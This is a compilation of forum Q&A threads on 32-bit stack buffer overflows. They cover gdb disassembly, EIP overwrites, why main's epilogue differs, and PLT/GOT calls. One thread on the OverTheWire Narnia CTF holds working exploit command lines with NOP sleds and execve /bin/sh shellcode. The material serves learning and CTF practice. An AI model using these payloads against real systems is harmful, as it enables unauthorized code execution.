impossible to write on stack (stack overflow) - c

I was experimenting some security stuff and especially trying to understand a ret2ret exploit.
The code I was experimentating on :
void foo(char * val){
char buffer[64];
int i;
for (i=0; val[i]!=0; i++) buffer[i]=val[i];
return;
}
int main(int argc, char ** argv) {
foo(argv[1]);
return 0;
}
ASLR, N^X and stack canaries were off during my test. And I compiled it in 32 bits with gcc.
I don't know why but I couldn't get the usual "0x41414141 in ?? ()" saying that I had overwritten $eip. So I decided to debug with gdb and put a breakpoint on the ret in the function "cop" and strangely enough even after writting more than 300 "A" the stack was like this:
0xbffff46c: 0xb7ee2290 0xbffff496 0xb7e8f5f5 0x41414141
0xbffff47c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff48c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff49c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4ac: 0x41414141 0x41414141 0x41414141 0x00410043
The 64 chars corresponding to the buffer are here but the rest was not written.. and I don't know why ? Is it due to some kind of update ?
EDIT: GDB log for buff[64]
Dump of assembler code for function main:
0x08048415 <+0>: push %ebp
0x08048416 <+1>: mov %esp,%ebp
0x08048418 <+3>: sub $0x4,%esp
0x0804841b <+6>: mov 0xc(%ebp),%eax
0x0804841e <+9>: add $0x4,%eax
0x08048421 <+12>: mov (%eax),%eax
0x08048423 <+14>: mov %eax,(%esp)
0x08048426 <+17>: call 0x80483dc <foo>
0x0804842b <+22>: mov $0x0,%eax
0x08048430 <+27>: leave
0x08048431 <+28>: ret
Dump of assembler code for function foo:
0x080483dc <+0>: push %ebp
0x080483dd <+1>: mov %esp,%ebp
0x080483df <+3>: sub $0x44,%esp
0x080483e2 <+6>: movl $0x0,-0x4(%ebp)
0x080483e9 <+13>: jmp 0x8048404 <foo+40>
0x080483eb <+15>: mov -0x4(%ebp),%edx
0x080483ee <+18>: mov 0x8(%ebp),%eax
0x080483f1 <+21>: add %edx,%eax
0x080483f3 <+23>: movzbl (%eax),%eax
0x080483f6 <+26>: lea -0x44(%ebp),%ecx
0x080483f9 <+29>: mov -0x4(%ebp),%edx
0x080483fc <+32>: add %ecx,%edx
0x080483fe <+34>: mov %al,(%edx)
0x08048400 <+36>: addl $0x1,-0x4(%ebp)
0x08048404 <+40>: mov -0x4(%ebp),%edx
0x08048407 <+43>: mov 0x8(%ebp),%eax
0x0804840a <+46>: add %edx,%eax
0x0804840c <+48>: movzbl (%eax),%eax
0x0804840f <+51>: test %al,%al
0x08048411 <+53>: jne 0x80483eb <foo+15>
0x08048413 <+55>: leave
0x08048414 <+56>: ret
(gdb) b *foo+56
Breakpoint 1 at 0x8048414: file exploit.c, line 9.
(gdb) r `python -c 'print "A"*64'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/prog `python -c 'print "A"*64'`
Breakpoint 1, 0x08048414 in foo (arg=0xbffff6da 'A' <repeats 64 times>) at exploit.c:9
9 }
(gdb) r `python -c 'print "A"*65'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/prog `python -c 'print "A"*65'`
Program received signal SIGSEGV, Segmentation fault.
0x0804840c in foo (arg=0xbffff6d9 'A' <repeats 65 times>) at exploit.c:6
6 for(i = 0; arg[i] != 0; i++) buff[i] = arg[i];
EDIT 2: GDB log for buff[20]
(gdb) disas foo
Dump of assembler code for function foo:
0x080483dc <+0>: push %ebp
0x080483dd <+1>: mov %esp,%ebp
0x080483df <+3>: sub $0x18,%esp
0x080483e2 <+6>: movl $0x0,-0x4(%ebp)
0x080483e9 <+13>: jmp 0x8048404 <foo+40>
0x080483eb <+15>: mov -0x4(%ebp),%edx
0x080483ee <+18>: mov 0x8(%ebp),%eax
0x080483f1 <+21>: add %edx,%eax
0x080483f3 <+23>: movzbl (%eax),%eax
0x080483f6 <+26>: lea -0x18(%ebp),%ecx
0x080483f9 <+29>: mov -0x4(%ebp),%edx
0x080483fc <+32>: add %ecx,%edx
0x080483fe <+34>: mov %al,(%edx)
0x08048400 <+36>: addl $0x1,-0x4(%ebp)
0x08048404 <+40>: mov -0x4(%ebp),%edx
0x08048407 <+43>: mov 0x8(%ebp),%eax
0x0804840a <+46>: add %edx,%eax
0x0804840c <+48>: movzbl (%eax),%eax
0x0804840f <+51>: test %al,%al
0x08048411 <+53>: jne 0x80483eb <foo+15>
0x08048413 <+55>: leave
0x08048414 <+56>: ret
End of assembler dump.
(gdb) b *foo+56
Breakpoint 1 at 0x8048414: file exploit.c, line 9.
(gdb) r `python -c 'print "A"*200'`
Starting program: /root/prog `python -c 'print "A"*200'`
Breakpoint 1, 0x08048414 in foo (arg=0xbffff652 'A' <repeats 200 times>) at exploit.c:9
9 }
(gdb) c
Continuing.
[Inferior 1 (process 3474) exited normally]

I think I figured it out, at least for the 64 buffer. Your counting variable i is located higher on the stack than your buffer (per your disassembly).That means, your 65th store changes the value of i. Note that it won't be the entire value of i as it is probably a 4 byte integer; so only the lower byte (little-endian). In any case, after, it's as if you counted up i enough that the next write (66) should point to the area populated by the environmental variables (past ret), which is harmless and doesn't pollute eip.
My batts are almost done, and I can't finish this rigorously. But think along these lines.
Edit/crossing batt fingers: also, the 66th write might already pull in a 0 as both sides are affected by the pollution of i (where you store it in relative to &buffer; where you read it from relative to argv[1][0].

Related

Buffer Overflow strcpy() example from CTF

I come back (yet again) to basic buffer explotation CTFs and I have the following vulnerable program of Narnia CTF from Overthewire:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char * argv[]){
char buf[128];
if(argc == 1){
printf("Usage: %s argument\n", argv[0]);
exit(1);
}
strcpy(buf,argv[1]);
printf("%s", buf);
return 0;
}
I see that by "A" * 132, there is a segfault.
Anything less, the program is executed normally.
Dumping main in gdb gives:
0x0804844b <+0>: push %ebp
0x0804844c <+1>: mov %esp,%ebp
0x0804844e <+3>: add $0xffffff80,%esp
0x08048451 <+6>: cmpl $0x1,0x8(%ebp)
0x08048455 <+10>: jne 0x8048471 <main+38>
0x08048457 <+12>: mov 0xc(%ebp),%eax
0x0804845a <+15>: mov (%eax),%eax
0x0804845c <+17>: push %eax
0x0804845d <+18>: push $0x8048520
0x08048462 <+23>: call 0x8048300 <printf#plt>
0x08048467 <+28>: add $0x8,%esp
0x0804846a <+31>: push $0x1
0x0804846c <+33>: call 0x8048320 <exit#plt>
0x08048471 <+38>: mov 0xc(%ebp),%eax
0x08048474 <+41>: add $0x4,%eax
0x08048477 <+44>: mov (%eax),%eax
0x08048479 <+46>: push %eax
0x0804847a <+47>: lea -0x80(%ebp),%eax
0x0804847d <+50>: push %eax
0x0804847e <+51>: call 0x8048310 <strcpy#plt>
0x08048483 <+56>: add $0x8,%esp
0x08048486 <+59>: lea -0x80(%ebp),%eax
0x08048489 <+62>: push %eax
0x0804848a <+63>: push $0x8048534
0x0804848f <+68>: call 0x8048300 <printf#plt>
0x08048494 <+73>: add $0x8,%esp
0x08048497 <+76>: mov $0x0,%eax
0x0804849c <+81>: leave
0x0804849d <+82>: ret
My idea is to take control over the instruction pointer and make it poit to my shellcode. There is no stack canary.
With gbd, I set up a breakpoint at *0x0804849c and see the EIP address before returning is 0x804849c.
(gdb) i r
eax 0x0 0
ecx 0x7fffffe6 2147483622
edx 0xf7fc6870 -134453136
ebx 0x0 0
esp 0xffffd628 0xffffd628
ebp 0xffffd6a8 0xffffd6a8
esi 0x2 2
edi 0xf7fc5000 -134459392
eip 0x804849c 0x804849c <main+81>
When overflowing with "A" * 132 and run the program again, and then stepping over the breakpoint, I see EBP is filled with "A"s.
(gdb) i r
eax 0x0 0
ecx 0x7fffff7b 2147483515
edx 0xf7fc6870 -134453136
ebx 0x0 0
esp 0xffffd640 0xffffd640
ebp 0x41414141 0x41414141
When running again with extra bytes (136 in total), I see I am able to take control over EIP.
(gdb) i r
eax 0x0 0
ecx 0x7fffff7b 2147483515
edx 0xf7fc6870 -134453136
ebx 0x0 0
esp 0xffffd640 0xffffd640
ebp 0x41414141 0x41414141
-----> 0x41414141 in ?? ()
So, I craft my payload as follows:
buffer points to nops
[PADDING] + ] [ EIP + 4 ] + [ NOP SLED ] + [ SHELLCODE ]
AAAAAA.. \x0c\xd6\xff\xff \X90 * 48 + n length shellcode
`python -c "print('A' * 132 + '\x0c\xd6\xff\xff' + '\x90'*48 + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')"`
My questions are:
I noticed that I had to arbitrarly increment the NOP sled in order for this to work. For example, the payload worked in gdb with as little as 10 NOPs, and in the shell, specifically 48 were needed. What is the reason for this?
I also noticed that depending on the shellcode length, there were more or less NOPs needed. For example, the following payload worked with exactly 78 NOPs outside of gdb:
./narnia2 `python -c "print('A' * 132 + '\x0c\xd6\xff\xff' + '**\x90'*100** + '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80')"`
Anything less returns SIGILL, Illegal instruction.
Meanwhile, on GDB, that same payload only took 30 NOPs
Another question is, why are NOPs necessary? If I provide payload with no nops and inspect the instructions after leave, I see:
0xffffd60c in ?? () (the address in our payload, where we pointed eip to)
(gdb) x/20i 0xffffd60c
=> 0xffffd60c: inc %ecx
0xffffd60d: inc %ecx
0xffffd60e: inc %ecx
0xffffd60f: inc %ecx
0xffffd610: inc %ecx
0xffffd611: inc %ecx
0xffffd612: inc %ecx
0xffffd613: inc %ecx
0xffffd614: inc %ecx
0xffffd615: inc %ecx
0xffffd616: inc %ecx
...
0xffffd61e: (bad)
If I, however, specify the NOPs and run the program again:
(gdb) x/20i 0xffffd60c
=> 0xffffd60c: nop
0xffffd60d: nop
0xffffd60e: nop
0xffffd60f: nop
0xffffd610: nop
0xffffd611: nop
0xffffd612: nop
0xffffd613: nop
0xffffd614: nop
0xffffd615: nop
0xffffd616: nop
0xffffd617: nop
0xffffd618: nop
0xffffd619: nop
0xffffd61a: nop
0xffffd61b: nop
0xffffd61c: nop
0xffffd61d: nop
0xffffd61e: nop
0xffffd61f: nop
(gdb)
0xffffd620: cltd This is the shellcode!
0xffffd621: mul %edx
0xffffd623: lea (%eax),%ecx
0xffffd625: mov $0x68732f2f,%esi
0xffffd62a: mov $0x6e69622f,%edi
0xffffd62f: push %ecx
0xffffd630: push %esi
0xffffd631: push %edi
0xffffd632: lea (%esp),%ebx
0xffffd635: mov $0xb,%al
0xffffd637: int $0x80
: Shellcode in question :
Finally, I was looking if there was an actual way of switching the payload order. Specifically, what if the payload looks like:
[PADDING NOP SLED - SHELLCODE.LEN ] + SHELLCODE + EIP
EIP points to the start of the buffer, so it points to our NOP SLED, and eventually executes the shellcode. Is this possible?
I noticed the buffer starts at 0xffffd618. The payload becomes:
#~: ./narnia2 `python -c "print('\x90'*107 + '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80' + '\x18\xd6\xff\xff')"`
Inspecting in GDB,
(gdb) x/20i 0xffffd618
=> 0xffffd618: nop
0xffffd619: nop
0xffffd61a: nop
0xffffd61b: nop
0xffffd61c: nop
0xffffd61d: nop
0xffffd61e: nop
0xffffd61f: nop
0xffffd620: nop
0xffffd621: nop
0xffffd622: nop
0xffffd623: cltd That's the shellcode again!
0xffffd624: mul %edx
0xffffd626: lea (%eax),%ecx
0xffffd628: mov $0x68732f2f,%esi
0xffffd62d: mov $0x6e69622f,%edi
0xffffd632: push %ecx
0xffffd633: push %esi
0xffffd634: push %edi
0xffffd635: lea (%esp),%ebx
(gdb)
0xffffd638: mov $0xb,%al
0xffffd63a: int $0x80
0xffffd63c: sbb %dl,%dh
0xffffd63e: (bad) uh oh
The program eventually segfaults, specifically, at 0xffffd635. What is the reason for this?

Overwrite EIP in the main function

I'm curious about how overwriting the stack is different in the main function than in other functions
Take this example:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[8];
gets(buf);
}
In this code, the buffer to be overflowed is created in the main function, and as a result I receive this output from gdb after entering in a lot of 'A's:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x5655620c in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) info registers eip
eip 0x5655620c 0x5655620c <main+63>
Disassembly for main:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: lea ecx,[esp+0x4]
0x000011d5 <+8>: and esp,0xfffffff0
0x000011d8 <+11>: push DWORD PTR [ecx-0x4]
0x000011db <+14>: push ebp
0x000011dc <+15>: mov ebp,esp
0x000011de <+17>: push ebx
0x000011df <+18>: push ecx
0x000011e0 <+19>: sub esp,0x10
0x000011e3 <+22>: call 0x120d <__x86.get_pc_thunk.ax>
0x000011e8 <+27>: add eax,0x2df0
0x000011ed <+32>: sub esp,0xc
0x000011f0 <+35>: lea edx,[ebp-0x10]
0x000011f3 <+38>: push edx
0x000011f4 <+39>: mov ebx,eax
0x000011f6 <+41>: call 0x1070 <gets#plt>
0x000011fb <+46>: add esp,0x10
0x000011fe <+49>: mov eax,0x0
0x00001203 <+54>: lea esp,[ebp-0x8]
0x00001206 <+57>: pop ecx
0x00001207 <+58>: pop ebx
0x00001208 <+59>: pop ebp
0x00001209 <+60>: lea esp,[ecx-0x4]
0x0000120c <+63>: ret
Here, the EIP register was not overwritten and apparently gdb cannot access memory at an overwritten address.
Whereas in this example where the buffer stuff is written in another function:
#include <stdio.h>
void over() {
char buf[8];
gets(buf);
}
int main(int argc, char *argv[])
{
over();
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers eip
eip 0x41414141 0x41414141
Disassembly for main:
0x000011f9 <+0>: endbr32
0x000011fd <+4>: push ebp
0x000011fe <+5>: mov ebp,esp
0x00001200 <+7>: and esp,0xfffffff0
0x00001203 <+10>: call 0x1219 <__x86.get_pc_thunk.ax>
0x00001208 <+15>: add eax,0x2dd0
0x0000120d <+20>: call 0x11cd <over>
0x00001212 <+25>: mov eax,0x0
0x00001217 <+30>: leave
0x00001218 <+31>: ret
Disassembly for over:
0x000011cd <+0>: endbr32
0x000011d1 <+4>: push ebp
0x000011d2 <+5>: mov ebp,esp
0x000011d4 <+7>: push ebx
0x000011d5 <+8>: sub esp,0x14
0x000011d8 <+11>: call 0x1219 <__x86.get_pc_thunk.ax>
0x000011dd <+16>: add eax,0x2dfb
0x000011e2 <+21>: sub esp,0xc
0x000011e5 <+24>: lea edx,[ebp-0x10]
0x000011e8 <+27>: push edx
0x000011e9 <+28>: mov ebx,eax
0x000011eb <+30>: call 0x1070 <gets#plt>
0x000011f0 <+35>: add esp,0x10
0x000011f3 <+38>: nop
0x000011f4 <+39>: mov ebx,DWORD PTR [ebp-0x4]
0x000011f7 <+42>: leave
0x000011f8 <+43>: ret
A slightly different message is provided and the EIP is overwritten
Why does this make a difference? Why is the EIP not overwritten when the buffer is created in the main function?
I am using: gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
And compiled with: gcc -m32 -g -fno-stack-protector source.c -o vuln -z execstack
The difference is pretty arbitrary. The exact prologue/epilogue instruction sequence generated by GCC is different for over() in the second example than it is for main() in the first example. So it crashes it a very different way, from a debugger's point of view. After single-stepping in GDB, you can see why, and I have just killed some time doing so.
The stack is thoroughly corrupt upon returning from gets(), so all bets are off, but anyway, here goes. I run the first example, setting a breakpoint immediately after returning from the call to gets():
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) b *0x08048448
Breakpoint 1 at 0x8048448: file source.c, line 6.
(gdb)
Now continue to enter some garbage, hit the breakpoint, and start single-stepping:
(gdb) r
Starting program: /home/lstrand/tmp/vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
6 gets(buf);
(gdb) disassemble
Dump of assembler code for function main:
0x0804842b <+0>: lea 0x4(%esp),%ecx
0x0804842f <+4>: and $0xfffffff0,%esp
0x08048432 <+7>: pushl -0x4(%ecx)
0x08048435 <+10>: push %ebp
0x08048436 <+11>: mov %esp,%ebp
0x08048438 <+13>: push %ecx
0x08048439 <+14>: sub $0x14,%esp
0x0804843c <+17>: sub $0xc,%esp
0x0804843f <+20>: lea -0x10(%ebp),%eax
0x08048442 <+23>: push %eax
0x08048443 <+24>: call 0x80482e0 <gets#plt>
=> 0x08048448 <+29>: add $0x10,%esp
0x0804844b <+32>: mov $0x0,%eax
0x08048450 <+37>: mov -0x4(%ebp),%ecx
0x08048453 <+40>: leave
0x08048454 <+41>: lea -0x4(%ecx),%esp
0x08048457 <+44>: ret
End of assembler dump.
(gdb) bt
#0 0x08048448 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:6
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) stepi
0x0804844b 6 gets(buf);
(gdb)
7 }
(gdb)
0x08048453 7 }
(gdb)
0x08048454 7 }
(gdb)
0x08048457 7 }
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
7 }
(gdb) bt
#0 0x08048457 in main (argc=<error reading variable: Cannot access memory at address 0x41414141>,
argv=<error reading variable: Cannot access memory at address 0x41414145>) at source.c:7
Backtrace stopped: Cannot access memory at address 0x4141413d
(gdb) info reg
eax 0x0 0
ecx 0x41414141 1094795585
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x8048457 0x8048457 <main+44>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
Here, we die on the ret instruction in main() because the stack pointer esp has the bad value 0x4141413d. GDB correctly pinpoints the failing instruction as being in main().
But what happens in the over() case? Let's take a look:
lstrand#styx:~/tmp$ gdb ./vuln2
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./vuln2...done.
(gdb) disassemble over
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) b *0x0804843d
Breakpoint 1 at 0x804843d: file source2.c, line 5.
(gdb) r
Starting program: /home/lstrand/tmp/vuln2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Breakpoint 1, 0x0804843d in over () at source2.c:5
5 gets(buf);
(gdb) disassemble
Dump of assembler code for function over:
0x0804842b <+0>: push %ebp
0x0804842c <+1>: mov %esp,%ebp
0x0804842e <+3>: sub $0x18,%esp
0x08048431 <+6>: sub $0xc,%esp
0x08048434 <+9>: lea -0x10(%ebp),%eax
0x08048437 <+12>: push %eax
0x08048438 <+13>: call 0x80482e0 <gets#plt>
=> 0x0804843d <+18>: add $0x10,%esp
0x08048440 <+21>: nop
0x08048441 <+22>: leave
0x08048442 <+23>: ret
End of assembler dump.
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd180 0xffffd180
ebp 0xffffd1a8 0xffffd1a8
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x804843d 0x804843d <over+18>
eflags 0x246 [ PF ZF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
6 }
(gdb)
0x08048441 6 }
(gdb)
0x08048442 6 }
(gdb) stepi
0x41414141 in ?? ()
(gdb) info reg
eax 0xffffd198 -11880
ecx 0xf7fa45c0 -134593088
edx 0xf7fa589c -134588260
ebx 0x0 0
esp 0xffffd1b0 0xffffd1b0
ebp 0x41414141 0x41414141
esi 0xf7fa4000 -134594560
edi 0x0 0
eip 0x41414141 0x41414141
eflags 0x286 [ PF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
Note the subtle difference here. In this case, the epilogue code unwinds %esp with simple arithetic: "add $0x10,%esp" (as opposed to restoring it from the stack, as in the first case). The 'leave' instruction puts garbage into the frame pointer %ebp, but the new %esp value obtained from %ebp is still valid. Then the ret instruction sucessfully executes, leaving us a bad ip, 0x41414141. And then the program dies with SIGSEGV trying to read an instruction from nowhere.
In this case, GDB has no hope of unwinding the stack:
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) bt
#0 0x41414141 in ?? ()
#1 0x41414141 in ?? ()
#2 0x41414141 in ?? ()
#3 0x41414141 in ?? ()
#4 0x41414141 in ?? ()
#5 0xf7006141 in ?? ()
#6 0xf7fa4000 in ?? () from /lib/i386-linux-gnu/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb)
Recall in the first case, the program died on the ret instruction itself because %esp was already bad. In the first case GDB can still find where the program is, but in the second case it cannot.

disassemble code for 2 formats of printfs

I am trying to understand reasoning for seg fault with dissemble code.
Case 1.
char *p = NULL;
printf("%s", p);
O/p: No crash. it give me null. Further looking at disassemble code, it shows this one.
Dump of assembler code for function printf#plt:
0x00000000004003b8 <+0>: jmpq *0x2004aa(%rip) # 0x600868 <printf#got.plt>
0x00000000004003be <+6>: pushq $0x0
0x00000000004003c3 <+11>: jmpq 0x4003a8
End of assembler dump.
While i am trying to further go beyond this but do not know how to move to next set of instructions and what exactly it does.
Case 2.
int
main()
{
char *p = NULL;
printf("%s\n", p);
}
It leads to seg fault.
Disassemble code:
Dump of assembler code for function main:
0x00000000004004c4 <+0>: push %rbp
0x00000000004004c5 <+1>: mov %rsp,%rbp
0x00000000004004c8 <+4>: sub $0x10,%rsp
0x00000000004004cc <+8>: movq $0x0,-0x8(%rbp)
0x00000000004004d4 <+16>: mov -0x8(%rbp),%rax
0x00000000004004d8 <+20>: mov %rax,%rdi
0x00000000004004db <+23>: callq 0x4003b8 <puts#plt>
0x00000000004004e0 <+28>: leaveq
0x00000000004004e1 <+29>: retq
End of assembler dump.
(gdb) disassemble puts
Dump of assembler code for function puts#plt:
0x00000000004003b8 <+0>: jmpq *0x2004aa(%rip) # 0x600868 <puts#got.plt>
0x00000000004003be <+6>: pushq $0x0
0x00000000004003c3 <+11>: jmpq 0x4003a8
End of assembler dump.
Can u please help me to identify what assembler instruction is leading to seg fault?
0x00000000004003b8 <+0>: jmpq *0x2004aa(%rip) # 0x600868 <puts#got.plt>
Two important codewords here:
GOT -> Global Offset Table
PLT -> Procedure Linkage Table
This indicates it calls puts from dynamic library. Address of puts is not know at disassembly only time. Program must be run in order to allow dynamic linker bind address of library function to PLT slot.
What you need is:
(gdb) start
Temporary breakpoint 1 at 0x40053e: file c.c, line 9.
Starting program: /home/josef/DEVEL/test/test/a.out
Temporary breakpoint 1, main () at c.c:9
9 char *p = NULL;
(gdb) disassemble main
Dump of assembler code for function main:
0x0000000000400536 <+0>: push %rbp
0x0000000000400537 <+1>: mov %rsp,%rbp
0x000000000040053a <+4>: sub $0x10,%rsp
=> 0x000000000040053e <+8>: movq $0x0,-0x8(%rbp)
0x0000000000400546 <+16>: mov -0x8(%rbp),%rax
0x000000000040054a <+20>: mov %rax,%rdi
0x000000000040054d <+23>: callq 0x400410 <puts#plt>
0x0000000000400552 <+28>: leaveq
0x0000000000400553 <+29>: retq
End of assembler dump.
(gdb) disassemble puts
Dump of assembler code for function _IO_puts:
0x00007ffff7a84d60 <+0>: push %r12
0x00007ffff7a84d62 <+2>: mov %rdi,%r12
0x00007ffff7a84d65 <+5>: push %rbp
0x00007ffff7a84d66 <+6>: push %rbx
0x00007ffff7a84d67 <+7>: callq 0x7ffff7a9d9b0 <strlen>
0x00007ffff7a84d6c <+12>: mov 0x34fafd(%rip),%rbx # 0x7ffff7dd4870 <stdout>
0x00007ffff7a84d73 <+19>: mov %rax,%rbp
0x00007ffff7a84d76 <+22>: mov (%rbx),%eax
0x00007ffff7a84d78 <+24>: mov %rbx,%rdi
0x00007ffff7a84d7b <+27>: and $0x8000,%eax
0x00007ffff7a84d80 <+32>: jne 0x7ffff7a84ddf <_IO_puts+127>
0x00007ffff7a84d82 <+34>: mov 0x88(%rbx),%r8
......
Now you see what is inside puts. You can go forward and disassemble strlen
(gdb) disassemble strlen
Dump of assembler code for function strlen:
0x00007ffff7a9d9b0 <+0>: pxor %xmm8,%xmm8
0x00007ffff7a9d9b5 <+5>: pxor %xmm9,%xmm9
0x00007ffff7a9d9ba <+10>: pxor %xmm10,%xmm10
0x00007ffff7a9d9bf <+15>: pxor %xmm11,%xmm11
0x00007ffff7a9d9c4 <+20>: mov %rdi,%rax
0x00007ffff7a9d9c7 <+23>: mov %rdi,%rcx
0x00007ffff7a9d9ca <+26>: and $0xfff,%rcx
0x00007ffff7a9d9d1 <+33>: cmp $0xfcf,%rcx
0x00007ffff7a9d9d8 <+40>: ja 0x7ffff7a9da40 <strlen+144>
0x00007ffff7a9d9da <+42>: movdqu (%rax),%xmm12
0x00007ffff7a9d9df <+47>: pcmpeqb %xmm8,%xmm12
0x00007ffff7a9d9e4 <+52>: pmovmskb %xmm12,%edx
0x00007ffff7a9d9e9 <+57>: test %edx,%edx
0x00007ffff7a9d9eb <+59>: je 0x7ffff7a9d9f1 <strlen+65>
......
Good luck with analyzing all the code :)

Can not find return address in gdb

I wrote that program in C (just for debugging purposes):
void return_input(void)
{
char array[10];
gets(array);
printf("%s\n", array);
}
main()
{
return_input();
return 0;
}
I have been experimenting with stack overflows, and since I am working with a 64 bit machine I compiled it with
gcc -m32 -mpreferred-stack-boundary=2 -ggdb overflow.c -o overflow
I then debugged the program with gdb, and disassembled the return_input function, I got:
0x0804841b <+0>: push %ebp
0x0804841c <+1>: mov %esp,%ebp
0x0804841e <+3>: sub $0xc,%esp
0x08048421 <+6>: lea -0xa(%ebp),%eax
0x08048424 <+9>: push %eax
0x08048425 <+10>: call 0x80482e0 <gets#plt>
0x0804842a <+15>: add $0x4,%esp
0x0804842d <+18>: lea -0xa(%ebp),%eax
0x08048430 <+21>: push %eax
0x08048431 <+22>: call 0x80482f0 <puts#plt>
0x08048436 <+27>: add $0x4,%esp
0x08048439 <+30>: nop
0x0804843a <+31>: leave
0x0804843b <+32>: ret
This marks that the return address should be 0x0804843b (or is it not?) However, when examining the esp (remember this is a 32bit compiled program on a 64bit machine) with x/20x $esp (after setting a breakpoint at the gets function and the ret), I can't find the return address:
0xffffd400: 0xffffd406 0x080481ec 0x08048459 0x00000000
0xffffd410: 0xffffd418 0x08048444 0x00000000 0xf7e195f7
0xffffd420: 0x00000001 0xffffd4b4 0xffffd4bc 0x00000000
0xffffd430: 0x00000000 0x00000000 0xf7fb0000 0xf7ffdc04
0xffffd440: 0xf7ffd000 0x00000000 0xf7fb0000 0xf7fb0000
Why can't I see the return address? Sorry for the long question. Thanks in advance
0x0804843b is 'ret'. It seems you confused that with 'return address'. The return address is the address of the next instruction to execute in the calling function. In particular for this code:
0x08048425 <+10>: call 0x80482e0 <gets#plt>
0x0804842a <+15>: add $0x4,%esp
The return address is 0x0804842a.
